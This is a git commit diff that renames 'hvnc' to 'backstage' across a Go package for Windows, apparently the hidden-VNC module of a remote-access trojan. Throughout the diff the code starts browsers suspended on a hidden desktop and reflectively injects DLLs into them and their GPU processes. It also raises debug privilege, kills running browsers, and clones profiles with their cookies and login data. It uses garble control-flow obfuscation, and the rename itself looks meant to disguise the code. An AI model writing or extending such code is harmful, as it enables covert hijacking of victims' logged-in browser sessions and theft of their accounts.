rename all instances of "hvnc" to "backstage"
This commit is contained in:
@@ -12,9 +12,9 @@ import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
// hvncFrameHeader mirrors the C HVNCFrameHeader struct.
|
||||
// backstageFrameHeader mirrors the C backstageFrameHeader struct.
|
||||
// must be kept in sync with BackstageCapture/src/DXGICapture.h.
|
||||
type hvncFrameHeader struct {
|
||||
type backstageFrameHeader struct {
|
||||
Magic uint32
|
||||
Version uint32
|
||||
Width uint32
|
||||
@@ -28,11 +28,11 @@ type hvncFrameHeader struct {
|
||||
}
|
||||
|
||||
const (
|
||||
hvncFrameMagic = 0x434E5648 // 'HVNC'
|
||||
hvncFrameVersion = 1
|
||||
hvncFrameHeaderSize = 48 // sizeof(HVNCFrameHeader)
|
||||
hvncShmPrefix = `Local\hvnc_frame_`
|
||||
hvncEventPrefix = `Local\hvnc_evt_`
|
||||
backstageFrameMagic = 0x434E5648 // 'backstage'
|
||||
backstageFrameVersion = 1
|
||||
backstageFrameHeaderSize = 48 // sizeof(backstageFrameHeader)
|
||||
backstageShmPrefix = `Local\backstage_frame_`
|
||||
backstageEventPrefix = `Local\backstage_evt_`
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -46,7 +46,7 @@ const (
|
||||
SYNCHRONIZE = 0x00100000
|
||||
)
|
||||
|
||||
type hvncFrameReader struct {
|
||||
type backstageFrameReader struct {
|
||||
pid uint32
|
||||
shmHandle uintptr
|
||||
shmView unsafe.Pointer
|
||||
@@ -58,34 +58,34 @@ type hvncFrameReader struct {
|
||||
}
|
||||
|
||||
var (
|
||||
hvncFrameReaders = make(map[uint32]*hvncFrameReader)
|
||||
hvncFrameReadersMu sync.Mutex
|
||||
backstageFrameReaders = make(map[uint32]*backstageFrameReader)
|
||||
backstageFrameReadersMu sync.Mutex
|
||||
|
||||
hvncGPUPIDMap = make(map[uint32]uint32)
|
||||
backstageGPUPIDMap = make(map[uint32]uint32)
|
||||
)
|
||||
|
||||
func hvncRegisterGPUPID(browserPID, gpuPID uint32) {
|
||||
hvncFrameReadersMu.Lock()
|
||||
hvncGPUPIDMap[browserPID] = gpuPID
|
||||
hvncFrameReadersMu.Unlock()
|
||||
log.Printf("hvnc dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
|
||||
func backstageRegisterGPUPID(browserPID, gpuPID uint32) {
|
||||
backstageFrameReadersMu.Lock()
|
||||
backstageGPUPIDMap[browserPID] = gpuPID
|
||||
backstageFrameReadersMu.Unlock()
|
||||
log.Printf("backstage dxgi: registered GPU PID %d for browser PID %d", gpuPID, browserPID)
|
||||
}
|
||||
|
||||
func hvncGetFrameReader(pid uint32) *hvncFrameReader {
|
||||
hvncFrameReadersMu.Lock()
|
||||
defer hvncFrameReadersMu.Unlock()
|
||||
func backstageGetFrameReader(pid uint32) *backstageFrameReader {
|
||||
backstageFrameReadersMu.Lock()
|
||||
defer backstageFrameReadersMu.Unlock()
|
||||
|
||||
if r, ok := hvncFrameReaders[pid]; ok {
|
||||
if r, ok := backstageFrameReaders[pid]; ok {
|
||||
if r.staleCount > 300 {
|
||||
log.Printf("hvnc dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
|
||||
log.Printf("backstage dxgi: evicting stale reader for PID %d (stale %d frames)", pid, r.staleCount)
|
||||
r.close()
|
||||
delete(hvncFrameReaders, pid)
|
||||
delete(backstageFrameReaders, pid)
|
||||
} else {
|
||||
return r
|
||||
}
|
||||
}
|
||||
|
||||
shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncShmPrefix, pid))
|
||||
shmName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageShmPrefix, pid))
|
||||
shmHandle, _, _ := procOpenFileMappingW.Call(
|
||||
FILE_MAP_READ,
|
||||
0,
|
||||
@@ -99,21 +99,21 @@ func hvncGetFrameReader(pid uint32) *hvncFrameReader {
|
||||
shmHandle,
|
||||
FILE_MAP_READ,
|
||||
0, 0,
|
||||
hvncFrameHeaderSize,
|
||||
backstageFrameHeaderSize,
|
||||
)
|
||||
if view == 0 {
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return nil
|
||||
}
|
||||
|
||||
hdr := (*hvncFrameHeader)(unsafe.Pointer(view))
|
||||
if hdr.Magic != hvncFrameMagic {
|
||||
hdr := (*backstageFrameHeader)(unsafe.Pointer(view))
|
||||
if hdr.Magic != backstageFrameMagic {
|
||||
procUnmapViewOfFile.Call(view)
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return nil
|
||||
}
|
||||
|
||||
fullSize := uintptr(hvncFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
|
||||
fullSize := uintptr(backstageFrameHeaderSize) + uintptr(hdr.Stride)*uintptr(hdr.Height)
|
||||
|
||||
procUnmapViewOfFile.Call(view)
|
||||
view = 0
|
||||
@@ -130,30 +130,30 @@ func hvncGetFrameReader(pid uint32) *hvncFrameReader {
|
||||
return nil
|
||||
}
|
||||
|
||||
hdr2 := (*hvncFrameHeader)(unsafe.Pointer(fullView))
|
||||
hdr2 := (*backstageFrameHeader)(unsafe.Pointer(fullView))
|
||||
|
||||
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", hvncEventPrefix, pid))
|
||||
evtName, _ := syscall.UTF16PtrFromString(fmt.Sprintf("%s%d", backstageEventPrefix, pid))
|
||||
evtHandle, _, _ := procOpenEventW.Call(
|
||||
SYNCHRONIZE,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(evtName)),
|
||||
)
|
||||
|
||||
r := &hvncFrameReader{
|
||||
r := &backstageFrameReader{
|
||||
pid: pid,
|
||||
shmHandle: shmHandle,
|
||||
shmView: unsafe.Pointer(fullView),
|
||||
shmSize: fullSize,
|
||||
evtHandle: evtHandle,
|
||||
}
|
||||
hvncFrameReaders[pid] = r
|
||||
backstageFrameReaders[pid] = r
|
||||
|
||||
log.Printf("hvnc dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
|
||||
log.Printf("backstage dxgi: opened shared memory for PID %d (%dx%d, %d bytes)",
|
||||
pid, hdr2.Width, hdr2.Height, fullSize)
|
||||
return r
|
||||
}
|
||||
|
||||
func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
|
||||
func (r *backstageFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
@@ -161,8 +161,8 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
hdr := (*hvncFrameHeader)(r.shmView)
|
||||
if hdr.Magic != hvncFrameMagic || hdr.Version != hvncFrameVersion {
|
||||
hdr := (*backstageFrameHeader)(r.shmView)
|
||||
if hdr.Magic != backstageFrameMagic || hdr.Version != backstageFrameVersion {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
@@ -184,19 +184,19 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
|
||||
return 0, 0, false
|
||||
}
|
||||
|
||||
totalNeeded := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
totalNeeded := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
if totalNeeded > r.shmSize {
|
||||
r.remap(w, h, stride)
|
||||
if r.shmView == nil {
|
||||
return 0, 0, false
|
||||
}
|
||||
hdr = (*hvncFrameHeader)(r.shmView)
|
||||
if hdr.Magic != hvncFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
|
||||
hdr = (*backstageFrameHeader)(r.shmView)
|
||||
if hdr.Magic != backstageFrameMagic || int(hdr.Width) != w || int(hdr.Height) != h {
|
||||
return 0, 0, false
|
||||
}
|
||||
}
|
||||
|
||||
pixelData := unsafe.Add(r.shmView, hvncFrameHeaderSize)
|
||||
pixelData := unsafe.Add(r.shmView, backstageFrameHeaderSize)
|
||||
srcSize := stride * h
|
||||
src := unsafe.Slice((*byte)(pixelData), srcSize)
|
||||
|
||||
@@ -217,13 +217,13 @@ func (r *hvncFrameReader) readFrame(dst []byte) (w, h int, ok bool) {
|
||||
return w, h, true
|
||||
}
|
||||
|
||||
func (r *hvncFrameReader) remap(w, h, stride int) {
|
||||
func (r *backstageFrameReader) remap(w, h, stride int) {
|
||||
if r.shmView != nil {
|
||||
procUnmapViewOfFile.Call(uintptr(r.shmView))
|
||||
r.shmView = nil
|
||||
}
|
||||
|
||||
newSize := uintptr(hvncFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
newSize := uintptr(backstageFrameHeaderSize) + uintptr(stride)*uintptr(h)
|
||||
view, _, _ := procMapViewOfFile.Call(
|
||||
r.shmHandle,
|
||||
FILE_MAP_READ,
|
||||
@@ -237,7 +237,7 @@ func (r *hvncFrameReader) remap(w, h, stride int) {
|
||||
r.shmSize = newSize
|
||||
}
|
||||
|
||||
func (r *hvncFrameReader) close() {
|
||||
func (r *backstageFrameReader) close() {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
@@ -255,51 +255,51 @@ func (r *hvncFrameReader) close() {
|
||||
}
|
||||
}
|
||||
|
||||
func hvncCleanupFrameReaders() {
|
||||
hvncFrameReadersMu.Lock()
|
||||
defer hvncFrameReadersMu.Unlock()
|
||||
func backstageCleanupFrameReaders() {
|
||||
backstageFrameReadersMu.Lock()
|
||||
defer backstageFrameReadersMu.Unlock()
|
||||
|
||||
for pid, r := range hvncFrameReaders {
|
||||
for pid, r := range backstageFrameReaders {
|
||||
r.close()
|
||||
delete(hvncFrameReaders, pid)
|
||||
delete(backstageFrameReaders, pid)
|
||||
}
|
||||
for k := range hvncGPUPIDMap {
|
||||
delete(hvncGPUPIDMap, k)
|
||||
for k := range backstageGPUPIDMap {
|
||||
delete(backstageGPUPIDMap, k)
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
hvncInjectedPIDs = make(map[uint32]time.Time)
|
||||
hvncInjectedPIDsMu sync.Mutex
|
||||
backstageInjectedPIDs = make(map[uint32]time.Time)
|
||||
backstageInjectedPIDsMu sync.Mutex
|
||||
)
|
||||
|
||||
func hvncRegisterInjectedPID(pid uint32) {
|
||||
hvncInjectedPIDsMu.Lock()
|
||||
hvncInjectedPIDs[pid] = time.Now()
|
||||
hvncInjectedPIDsMu.Unlock()
|
||||
func backstageRegisterInjectedPID(pid uint32) {
|
||||
backstageInjectedPIDsMu.Lock()
|
||||
backstageInjectedPIDs[pid] = time.Now()
|
||||
backstageInjectedPIDsMu.Unlock()
|
||||
}
|
||||
|
||||
func hvncGetInjectedPIDs() []uint32 {
|
||||
hvncInjectedPIDsMu.Lock()
|
||||
defer hvncInjectedPIDsMu.Unlock()
|
||||
pids := make([]uint32, 0, len(hvncInjectedPIDs))
|
||||
for pid := range hvncInjectedPIDs {
|
||||
func backstageGetInjectedPIDs() []uint32 {
|
||||
backstageInjectedPIDsMu.Lock()
|
||||
defer backstageInjectedPIDsMu.Unlock()
|
||||
pids := make([]uint32, 0, len(backstageInjectedPIDs))
|
||||
for pid := range backstageInjectedPIDs {
|
||||
pids = append(pids, pid)
|
||||
}
|
||||
return pids
|
||||
}
|
||||
|
||||
func hvncUnregisterInjectedPID(pid uint32) {
|
||||
hvncInjectedPIDsMu.Lock()
|
||||
delete(hvncInjectedPIDs, pid)
|
||||
hvncInjectedPIDsMu.Unlock()
|
||||
func backstageUnregisterInjectedPID(pid uint32) {
|
||||
backstageInjectedPIDsMu.Lock()
|
||||
delete(backstageInjectedPIDs, pid)
|
||||
backstageInjectedPIDsMu.Unlock()
|
||||
}
|
||||
|
||||
func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
|
||||
if len(data) < hvncFrameHeaderSize {
|
||||
func parsebackstageFrameHeader(data []byte) (*backstageFrameHeader, bool) {
|
||||
if len(data) < backstageFrameHeaderSize {
|
||||
return nil, false
|
||||
}
|
||||
hdr := &hvncFrameHeader{
|
||||
hdr := &backstageFrameHeader{
|
||||
Magic: binary.LittleEndian.Uint32(data[0:4]),
|
||||
Version: binary.LittleEndian.Uint32(data[4:8]),
|
||||
Width: binary.LittleEndian.Uint32(data[8:12]),
|
||||
@@ -311,7 +311,7 @@ func parseHVNCFrameHeader(data []byte) (*hvncFrameHeader, bool) {
|
||||
PID: binary.LittleEndian.Uint32(data[40:44]),
|
||||
Reserved: binary.LittleEndian.Uint32(data[44:48]),
|
||||
}
|
||||
if hdr.Magic != hvncFrameMagic {
|
||||
if hdr.Magic != backstageFrameMagic {
|
||||
return nil, false
|
||||
}
|
||||
return hdr, true
|
||||
|
||||
@@ -4,20 +4,20 @@ package capture
|
||||
|
||||
import "errors"
|
||||
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
return 0, errors.New("HVNC injection not supported on this platform")
|
||||
func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
return 0, errors.New("backstage injection not supported on this platform")
|
||||
}
|
||||
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return errors.New("backstage injection not supported on this platform")
|
||||
}
|
||||
|
||||
type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status string)
|
||||
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||
type LaunchStatusFunc func(step string, success bool, detail string)
|
||||
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
return errors.New("HVNC injection not supported on this platform")
|
||||
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
return errors.New("backstage injection not supported on this platform")
|
||||
}
|
||||
|
||||
func CheckInstalledBrowsers() map[string]bool {
|
||||
|
||||
@@ -43,7 +43,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s
|
||||
type DXGIStatusFunc func(success bool, gpuPID uint32, message string)
|
||||
type LaunchStatusFunc func(step string, success bool, detail string)
|
||||
|
||||
var hvncDXGIStatusCallback atomic.Value
|
||||
var backstageDXGIStatusCallback atomic.Value
|
||||
|
||||
const (
|
||||
PROCESS_CREATE_THREAD = 0x0002
|
||||
@@ -158,10 +158,10 @@ func enableDebugPrivilege() {
|
||||
procAdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tp)), 0, 0, 0)
|
||||
}
|
||||
|
||||
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
|
||||
// StartbackstageProcessInjected starts a process suspended on the backstage desktop,
|
||||
// injects the reflective DLL, then resumes it.
|
||||
// searchPath/replacePath are passed as environment variables for the DLL hooks.
|
||||
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
func StartbackstageProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
if filePath == "" {
|
||||
return 0, fmt.Errorf("empty file path")
|
||||
}
|
||||
@@ -169,8 +169,8 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
|
||||
return 0, fmt.Errorf("empty DLL bytes")
|
||||
}
|
||||
|
||||
result, err := executeHVNCTask(hvncTask{
|
||||
kind: hvncTaskStartProcessInjected,
|
||||
result, err := executebackstageTask(backstageTask{
|
||||
kind: backstageTaskStartProcessInjected,
|
||||
filePath: filePath,
|
||||
dllBytes: dllBytes,
|
||||
captureDllBytes: captureDllBytes,
|
||||
@@ -184,12 +184,12 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
|
||||
return result.pid, result.err
|
||||
}
|
||||
|
||||
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
|
||||
if onDXGIStatus != nil {
|
||||
hvncDXGIStatusCallback.Store(onDXGIStatus)
|
||||
backstageDXGIStatusCallback.Store(onDXGIStatus)
|
||||
}
|
||||
notify := func(step string, success bool, detail string) {
|
||||
log.Printf("hvnc %s: [%s] success=%v %s", browser, step, success, detail)
|
||||
log.Printf("backstage %s: [%s] success=%v %s", browser, step, success, detail)
|
||||
if onLaunchStatus != nil {
|
||||
onLaunchStatus(step, success, detail)
|
||||
}
|
||||
@@ -231,7 +231,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
|
||||
if !clone {
|
||||
notify("launch", true, "starting without profile cloning")
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
|
||||
pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
|
||||
if err != nil {
|
||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||
return err
|
||||
@@ -239,13 +239,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
|
||||
if info.needsPatch && pid != 0 {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc patch opera", nil)
|
||||
defer recoverAndLog("backstage patch opera", nil)
|
||||
patchOperaAsync(pid, 5, 2*time.Second)
|
||||
}()
|
||||
}
|
||||
if pid != 0 {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc crash monitor", nil)
|
||||
defer recoverAndLog("backstage crash monitor", nil)
|
||||
monitorProcessCrash(pid, info.name, notify)
|
||||
}()
|
||||
}
|
||||
@@ -274,7 +274,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
}
|
||||
if strings.EqualFold(fi.Name(), lockFile) {
|
||||
os.Remove(path)
|
||||
log.Printf("hvnc %s: removed lock file %s", info.name, path)
|
||||
log.Printf("backstage %s: removed lock file %s", info.name, path)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
@@ -283,13 +283,13 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
for _, lockFile := range []string{"SingletonLock", "SingletonCookie", "SingletonSocket"} {
|
||||
lp := filepath.Join(cloneDir, lockFile)
|
||||
if err := os.Remove(lp); err == nil {
|
||||
log.Printf("hvnc %s: removed lock file %s", info.name, lockFile)
|
||||
log.Printf("backstage %s: removed lock file %s", info.name, lockFile)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
notify("launch", true, "starting with cloned profile")
|
||||
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
|
||||
pid, err := StartbackstageProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
|
||||
if err != nil {
|
||||
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
|
||||
return err
|
||||
@@ -297,22 +297,22 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
notify("launch", true, fmt.Sprintf("process started (PID %d)", pid))
|
||||
if info.needsPatch && pid != 0 {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc patch opera", nil)
|
||||
defer recoverAndLog("backstage patch opera", nil)
|
||||
patchOperaAsync(pid, 5, 2*time.Second)
|
||||
}()
|
||||
}
|
||||
if pid != 0 {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc crash monitor", nil)
|
||||
defer recoverAndLog("backstage crash monitor", nil)
|
||||
monitorProcessCrash(pid, info.name, notify)
|
||||
}()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// StartHVNCChromeInjected is kept for backward compatibility.
|
||||
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
|
||||
// StartbackstageChromeInjected is kept for backward compatibility.
|
||||
func StartbackstageChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
|
||||
return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
|
||||
}
|
||||
|
||||
type browserInfo struct {
|
||||
@@ -525,9 +525,9 @@ func killProcess(name string) []uint32 {
|
||||
procCloseHandle.Call(hProc)
|
||||
if r != 0 {
|
||||
killed = append(killed, entry.ProcessID)
|
||||
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
|
||||
log.Printf("backstage: terminated %s (PID %d)", name, entry.ProcessID)
|
||||
} else {
|
||||
log.Printf("hvnc: failed to terminate %s (PID %d)", name, entry.ProcessID)
|
||||
log.Printf("backstage: failed to terminate %s (PID %d)", name, entry.ProcessID)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -568,14 +568,14 @@ func isFirefoxProfile(name string) bool {
|
||||
// large cache directories that aren't needed for a functional session.
|
||||
// This preserves extensions, cookies, login data, local storage, etc.
|
||||
func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onProgress CloneProgressFunc) (string, error) {
|
||||
prefix := "hvnc_" + strings.ToLower(browserName) + "_"
|
||||
prefix := "backstage_" + strings.ToLower(browserName) + "_"
|
||||
// Remove any previous cloned profile directories so we always use fresh data
|
||||
tmpDir := os.TempDir()
|
||||
if old, err := os.ReadDir(tmpDir); err == nil {
|
||||
for _, e := range old {
|
||||
if strings.HasPrefix(e.Name(), prefix) && e.IsDir() {
|
||||
p := filepath.Join(tmpDir, e.Name())
|
||||
log.Printf("hvnc %s: removing old clone %s", browserName, p)
|
||||
log.Printf("backstage %s: removing old clone %s", browserName, p)
|
||||
os.RemoveAll(p)
|
||||
}
|
||||
}
|
||||
@@ -601,7 +601,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
||||
}
|
||||
|
||||
if lite {
|
||||
log.Printf("hvnc %s: lite clone — skipping extensions and extra data", browserName)
|
||||
log.Printf("backstage %s: lite clone — skipping extensions and extra data", browserName)
|
||||
liteSkip := []string{
|
||||
"extensions",
|
||||
"extension state",
|
||||
@@ -691,7 +691,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("hvnc %s: cloning %d files using parallel workers", browserName, len(jobs))
|
||||
log.Printf("backstage %s: cloning %d files using parallel workers", browserName, len(jobs))
|
||||
|
||||
dirs := make(map[string]struct{})
|
||||
for _, j := range jobs {
|
||||
@@ -729,13 +729,13 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
||||
defer wg.Done()
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[panic] hvnc file copy worker: %v", r)
|
||||
log.Printf("[panic] backstage file copy worker: %v", r)
|
||||
}
|
||||
}()
|
||||
for job := range jobCh {
|
||||
n, err := forceCopyFile(job.src, job.dst)
|
||||
if err != nil {
|
||||
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, job.src, err)
|
||||
log.Printf("backstage %s: warning: could not copy %s: %v", browserName, job.src, err)
|
||||
} else {
|
||||
reportProgress(n)
|
||||
}
|
||||
@@ -863,7 +863,7 @@ func calcDirSize(dir string) int64 {
|
||||
return total
|
||||
}
|
||||
|
||||
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
if filePath == "" {
|
||||
return 0, fmt.Errorf("empty file path")
|
||||
@@ -878,17 +878,17 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("failed to create DLL shared memory: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
|
||||
log.Printf("backstage inject: DLL shared memory created as %s (%d bytes)", shmName, len(dllBytes))
|
||||
|
||||
enableDebugPrivilege()
|
||||
|
||||
// Create the process suspended on the HVNC desktop
|
||||
// Create the process suspended on the backstage desktop
|
||||
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes), display)
|
||||
if err != nil {
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return 0, fmt.Errorf("failed to create suspended process: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: created suspended process PID %d", pid)
|
||||
log.Printf("backstage inject: created suspended process PID %d", pid)
|
||||
|
||||
// Inject the reflective DLL
|
||||
if err := reflectiveInject(hProcess, dllBytes); err != nil {
|
||||
@@ -898,7 +898,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
procCloseHandle.Call(shmHandle)
|
||||
return 0, fmt.Errorf("DLL injection failed: %v", err)
|
||||
}
|
||||
log.Printf("hvnc inject: DLL injected into PID %d", pid)
|
||||
log.Printf("backstage inject: DLL injected into PID %d", pid)
|
||||
|
||||
// The DLL's InstallNtApiHooks has run (reflectiveInject waits for the
|
||||
// loader thread). The DLL opened the shared section, so we can release
|
||||
@@ -915,15 +915,15 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
}
|
||||
procCloseHandle.Call(hThread)
|
||||
|
||||
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
|
||||
log.Printf("backstage inject: process PID %d resumed with DLL hooks active", pid)
|
||||
|
||||
if len(captureDllBytes) > 0 {
|
||||
if !hvncDXGIEnabled.Load() {
|
||||
log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
|
||||
if !backstageDXGIEnabled.Load() {
|
||||
log.Printf("backstage inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
|
||||
} else {
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc deferred gpu inject", nil)
|
||||
hvncDeferredGPUInject(pid, captureDllBytes)
|
||||
defer recoverAndLog("backstage deferred gpu inject", nil)
|
||||
backstageDeferredGPUInject(pid, captureDllBytes)
|
||||
}()
|
||||
}
|
||||
}
|
||||
@@ -931,46 +931,46 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
return pid, nil
|
||||
}
|
||||
|
||||
func hvncDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
|
||||
func backstageDeferredGPUInject(browserPID uint32, captureDllBytes []byte) {
|
||||
time.Sleep(4 * time.Second)
|
||||
|
||||
for attempt := 0; attempt < 15; attempt++ {
|
||||
gpuPID, err := findGPUChildProcess(browserPID)
|
||||
if err != nil {
|
||||
log.Printf("hvnc inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
|
||||
log.Printf("backstage inject: GPU child not found for PID %d (attempt %d): %v", browserPID, attempt, err)
|
||||
time.Sleep(2 * time.Second)
|
||||
continue
|
||||
}
|
||||
|
||||
log.Printf("hvnc inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
|
||||
log.Printf("backstage inject: found GPU child process PID %d for browser PID %d", gpuPID, browserPID)
|
||||
|
||||
hProcess, _, _ := procOpenProcess.Call(PROCESS_ALL_ACCESS_INJ, 0, uintptr(gpuPID))
|
||||
if hProcess == 0 {
|
||||
log.Printf("hvnc inject: failed to open GPU process PID %d", gpuPID)
|
||||
log.Printf("backstage inject: failed to open GPU process PID %d", gpuPID)
|
||||
return
|
||||
}
|
||||
|
||||
if err := reflectiveInject(hProcess, captureDllBytes); err != nil {
|
||||
log.Printf("hvnc inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
|
||||
log.Printf("backstage inject: BackstageCapture DLL injection into GPU PID %d failed: %v", gpuPID, err)
|
||||
procCloseHandle.Call(hProcess)
|
||||
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
fn(false, gpuPID, fmt.Sprintf("DXGI injection failed for GPU PID %d", gpuPID))
|
||||
}
|
||||
return
|
||||
}
|
||||
procCloseHandle.Call(hProcess)
|
||||
|
||||
log.Printf("hvnc inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
|
||||
hvncRegisterInjectedPID(gpuPID)
|
||||
hvncRegisterGPUPID(browserPID, gpuPID)
|
||||
if fn, ok := hvncDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil {
|
||||
log.Printf("backstage inject: BackstageCapture DLL injected into GPU PID %d", gpuPID)
|
||||
backstageRegisterInjectedPID(gpuPID)
|
||||
backstageRegisterGPUPID(browserPID, gpuPID)
|
||||
